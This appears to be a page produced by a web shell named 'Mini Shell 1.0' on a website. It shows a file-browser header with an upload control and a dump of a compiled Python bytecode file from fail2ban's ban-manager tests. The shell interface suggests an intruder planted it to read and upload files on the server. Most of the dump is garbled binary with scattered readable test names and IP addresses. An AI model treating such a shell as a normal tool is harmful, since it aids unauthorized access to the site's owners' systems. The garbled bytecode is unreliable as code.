HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/fail2ban/tests/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/fail2ban/tests/__pycache__/banmanagertestcase.cpython-311.pyc
�

�Bd�&���dZdZdZddlZddlmZmZddlmZdd	l	m
Z
dd
lmZGd�dej
��ZGd
�dej
��ZdS)z
Cyril Jaquierz Copyright (c) 2004 Cyril Jaquier�GPL�N�)�setUpMyTime�tearDownMyTime�)�
BanManager)�DNSUtils)�	BanTicketc�^��eZdZ�fd�Z�fd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
�xZS)�
AddFailurec����tt|�����t��t	dd��|_t
��|_dS)�Call before every test case.�
193.168.0.128��;f�AN)�superr�setUprr
�_AddFailure__ticketr�_AddFailure__banManager��self�	__class__s ��C/usr/lib/python3/dist-packages/fail2ban/tests/banmanagertestcase.pyrzAddFailure.setUp$sK����
�D�����!�!�!�
�-�-�-��O�\�:�:�$�-� �l�l�$����c�r��tt|�����t��dS�zCall after every test case.N)rr�tearDownrrs �rrzAddFailure.tearDown+s1����
�D���"�"�$�$�$������rc��|�|j�|j����|�|j���d��|�|j���d��|j�d��|�|j���d��dS)Nrr)�
assertTruer�addBanTicketr�assertEqual�size�getBanTotal�setBanTotal�rs r�testAddzAddFailure.testAdd0s����/�/�$�#�0�0���?�?�@�@�@����4�$�)�)�+�+�Q�/�/�/����4�$�0�0�2�2�A�6�6�6������"�"�"����4�$�0�0�2�2�A�6�6�6�6�6rc�(�|�|j�|j����|�|j�|j����|�|j���d��dS)Nr)rrrr�assertFalser r!r$s r�testAddDuplicatezAddFailure.testAddDuplicate7sy���/�/�$�#�0�0���?�?�@�@�@����4�$�1�1�$�-�@�@�A�A�A����4�$�)�)�+�+�Q�/�/�/�/�/rc���|j���}d}dD�]�\}}tdd��}td|��}|�|�|��|�|j�|����|�|j�|����|�|j���d��|j�	|�
����}|�|�|��|�|����|�|�|��|k��|�|��}|�|���d��|dkr)|�|�|��d�����dS)Nr))rN)g�Tf�AN)ri�Q)r���rrrr*)
r�
getBanTimer
�
setBanTimerrr'r r!�
getTicketByID�getID�getEndOfBanTime�getTime)r�
defBanTime�prevEndOfBanTime�tnew�btnew�ticket1�ticket2�	bantickets        r�testAddDuplicateWithTimez#AddFailure.testAddDuplicateWithTime<s���� �+�+�-�-�*����;�;�k�d�E����
5�
5�7�
���
-�
-�7������u�����?�?�4�$�1�1�'�:�:�;�;�;����D�%�2�2�7�;�;�<�<�<����D�%�*�*�,�,�a�0�0�0�� �.�.�w�}�}���?�?�9����I�-�-�j�9�9�7�;R�;R�S]�;^�;^�_�_�_��?�?�9�,�,�Z�8�8�;K�K�L�L�L��-�-�j�9�9�����I�%�%�'�'��6�6�6��r�k�k����Y�)�)�*�5�5�r�:�:�:��-;�;rc���|�|j�|j����t	dd��}|�|j�|����dS)Nrr)rrrrr
�
_inBanList�r�tickets  r�testInListOKzAddFailure.testInListOK\s_���/�/�$�#�0�0���?�?�@�@�@��_�l�3�3�&��/�/�$�#�.�.�v�6�6�7�7�7�7�7rc���|�|j�|j����t	dd��}|�|j�|����dS)Nz
111.111.1.111r)rrrrr
r'r:r;s  r�
testInListNOKzAddFailure.testInListNOKasa���/�/�$�#�0�0���?�?�@�@�@��_�l�3�3�&����4�$�/�/��7�7�8�8�8�8�8rc
��t|j���|j�����}d}dD]�}|j�|j��|dz
}|�|��|�|j�|����|�t|j�
|�������d|����d|����d|�d|�d�	����|j�|j��|dz
}|�d	��|�|j�|����|�d
��|�|j�|����|�t|j�
|�������d|����d|����dd	�d|�d�	��dS)Nr)��i�r*rzBanTicket: ip=z time=z	 bantime=z
 bancount=z #attempts=0 matches=[]r*rA)r
rr.r0rrr,r'r �strr-)rr<�c�is    r�testBanTimeIncrzAddFailure.testBanTimeIncrfs>���T�]�(�(�*�*�D�M�,A�,A�,C�,C�D�D�&��!��y�y�a���!�!�$�-�0�0�0�!�q�&�!�	���Q�������D�%�2�2�6�:�:�;�;�;����C��)�7�7������G�G�H�H�H�PV�P\�P\�P^�P^�P^�P^�`f�`n�`n�`p�`p�`p�`p�rs�rs�rs�uv�uv�uv�w�y�y�y�y��� � ���/�/�/��a������B�������4�$�1�1�&�9�9�:�:�:����D�������4�$�1�1�&�9�9�:�:�:����3�t�(�6�6�v�|�|�~�~�F�F�G�G�G�OU�|�|�~�~�~�~�_e�_m�_m�_o�_o�_o�_o�qs�qs�qs�uv�uv�uv�w�y�y�y�y�yrc���|j���}|j���}|�|j�|j����|�|j�|j����|�|j�|��g��|�|j�||zdz��|jg��|�|j�	��d��|�|j�|j����t|j���|dz��}|�|j�|����|�t|j�||zdz����d��|�t|j�||zdzdz����d��td��D]p}td|z|��}|�|�|��|dzz��|�|j�|�����q|�t|j�||zdzdz����d��|�t|j�||zdzdz����d	��|�|j�	��d��dS)
NrriX�z193.168.0.%s�
r�2�)rr+rr0rrr:r �	unBanListr!r
r.r'�len�ranger,)r�btime�stimer<rDs     r�	testUnbanzAddFailure.testUnbanys���
�
�
&�
&�
(�
(�%�
�-�
�
�
!�
!�%��/�/�$�#�0�0���?�?�@�@�@��/�/�$�#�.�.�t�}�=�=�>�>�>����4�$�.�.�u�5�5�r�:�:�:����4�$�.�.�u�u�}�q�/@�A�A�D�M�?�S�S�S����4�$�)�)�+�+�Q�/�/�/��/�/�$�#�0�0���?�?�@�@�@��T�]�(�(�*�*�E�C�K�8�8�&����4�$�1�1�&�9�9�:�:�:����3�t�(�2�2�5�5�=�1�3D�E�E�F�F��J�J�J����3�t�(�2�2�5�5�=�3�3F��3J�K�K�L�L�a�P�P�P���8�8�;�;�a��n�q�(�%�0�0�6�	���V�&�&�u�-�-��"��4�5�5�5��?�?�4�$�1�1�&�9�9�:�:�:�:����3�t�(�2�2�5�5�=�4�3G�!�3K�L�L�M�M�q�Q�Q�Q����3�t�(�2�2�5�5�=�4�3G�!�3K�L�L�M�M�q�Q�Q�Q����4�$�)�)�+�+�Q�/�/�/�/�/rc��|j���}|j�d��	|�|j�|j����|�|j�|j����|�|j�|j�	��|zdz��g��|�|j�
��d��|j�|��dS#|j�|��wxYw)Nr*r)rr+r,rrrr:r rKr0r!)rrNs  r�testUnbanPermanentzAddFailure.testUnbanPermanent�s��
�
�
&�
&�
(�
(�%�����r�"�"�"�'��?�?�4�$�1�1�$�-�@�@�A�A�A��?�?�4�$�/�/��
�>�>�?�?�?����D�%�/�/��
�0E�0E�0G�0G�%�0O�RS�0S�T�T�VX�Y�Y�Y����D�%�*�*�,�,�a�0�0�0������&�&�&�&�&��4�����&�&�&�&���s�CD-�-E	c��tdd��tdd��g}|d�d��|D]}|j�|���|�|j�dd���dd	g��dS)
Nz	192.0.2.1rz	192.0.2.2rr*T)�ordered�withTimez:192.0.2.1 	2006-12-31 23:59:59 + 600 = 2007-01-01 00:09:59z9192.0.2.2 	2006-12-31 23:59:59 + -1 = 9999-12-31 23:59:59)r
r,rr�assertSortedEqual�
getBanList)r�tickets�ts   r�testBanListzAddFailure.testBanList�s����[�,�'�'��[�,�'�'�
�'�
�!�*��������%�%�a���!�!�!�$�$�$�$�����*�5�5�d�T�5�R�R�B�A������r)�__name__�
__module__�__qualname__rrr%r(r8r=r?rErPrRrZ�
__classcell__�rs@rrr#s��������#�#�#�#�#������
7�7�7�0�0�0�
;�;�;�@8�8�8�
9�9�9�
y�y�y�&0�0�0�4	'�	'�	'�
�
�
�
�
�
�
rrc�P��eZdZ�fd�Z�fd�ZdZd�Zd�Zd�Zd�Z	d�Z
d	�Z�xZS)
�StatusExtendedCymruInfoc����tt|�����tj���t
��tttj
d������|_d|_d|_
d|_t|jd��}t!��|_|�|j�|����dS)rzresolver1.opendns.com�36692�US�arinrN)rrar�unittest�F2B�SkipIfNoNetworkr�next�iterr	�dnsToIp� _StatusExtendedCymruInfo__ban_ip�_StatusExtendedCymruInfo__asn�!_StatusExtendedCymruInfo__country�_StatusExtendedCymruInfo__rirr
r�$_StatusExtendedCymruInfo__banManagerrr)rr<rs  �rrzStatusExtendedCymruInfo.setUp�s�������&�&�,�,�.�.�.�
�,��� � � �
�-�-�-��t�H�,�-D�E�E�F�F�G�G�$�-��$�*��$�.��$�*��T�]�L�1�1�&� �l�l�$���/�/�$�#�0�0��8�8�9�9�9�9�9rc�r��tt|�����t��dSr)rrarrrs �rrz StatusExtendedCymruInfo.tearDown�s2������&�&�/�/�1�1�1������r)TNc��t}|jdr/|j�tjjrdnd���}n
|jd}|�d��r&d|f|_t	jd|dz���|S)	Nrr�)�timeoutr�errorFz.Skip test because service is not available: %s)	ra�	availablerp�getBanListExtendedCymruInforfrg�fast�get�SkipTest)r�tc�
cymru_infos   r�_getBanListExtendedCymruInfoz4StatusExtendedCymruInfo._getBanListExtendedCymruInfo�s����"��\�!�_� ��!�=�=��,�#�
+�Q�Q��>�.�.�:�:���Q��:��^�^�G���c���#�2�<�	�	�K�j�Y`�Na�a�	b�	b�b�	�rc��|���}|�||jg|jg|jgd���dS)N��asn�country�rir)r}�assertDictEqualrmrnro)rr|s  r�
testCymruInfoz%StatusExtendedCymruInfo.testCymruInfo�sW���0�0�2�2�*����z�����^�$����	�	�����rc��|�|j�|�����|jg��dS�N)r rp�geBanListExtendedASNr}rmr$s r�testCymruInfoASNz(StatusExtendedCymruInfo.testCymruInfoASN��K�������)�)�$�*K�*K�*M�*M�N�N��J�<�����rc��|�|j�|�����|jg��dSr�)r rp�geBanListExtendedCountryr}rnr$s r�testCymruInfoCountryz,StatusExtendedCymruInfo.testCymruInfoCountry�sL�������-�-�d�.O�.O�.Q�.Q�R�R��N������rc��|�|j�|�����|jg��dSr�)r rp�geBanListExtendedRIRr}ror$s r�testCymruInfoRIRz(StatusExtendedCymruInfo.testCymruInfoRIR�r�rc��t��|_tdd��}|�|j�|����|���}|�|dgdgdgd���tdd��}|�|j�|����|���}|�|ddgddgdd	gd�d
t���dS)Nz0.0.0.0r�nxdomainrz8.0.0.0g<f�A�3356rdrer*)�level�key)	rrpr
rrr}r�rVrB)rr<r|s   r�testCymruInfoNxdomainz-StatusExtendedCymruInfo.testCymruInfoNxdomain�s�� �l�l�$���Y��-�-�&��/�/�$�#�0�0��8�8�9�9�9��0�0�2�2�*����z����L���	�	�����Y��-�-�&��/�/�$�#�0�0��8�8�9�9�9��0�0�2�2�*������V�%���&��V�$�	&�	&�-/�S��:�:�:�:�:r)
r[r\r]rrrvr}r�r�r�r�r�r^r_s@rrara�s��������:�:�:�:�:������
��
�
�
�������
���
���
:�:�:�:�:�:�:rra)�
__author__�
__copyright__�__license__rf�utilsrr�server.banmanagerr�server.ipdnsr	�
server.ticketr
�TestCaserra�rr�<module>r�s���.�
�2�
�������.�.�.�.�.�.�.�.�*�*�*�*�*�*�#�#�#�#�#�#�%�%�%�%�%�%�H�H�H�H�H��"�H�H�H�VL:�L:�L:�L:�L:�h�/�L:�L:�L:�L:�L:r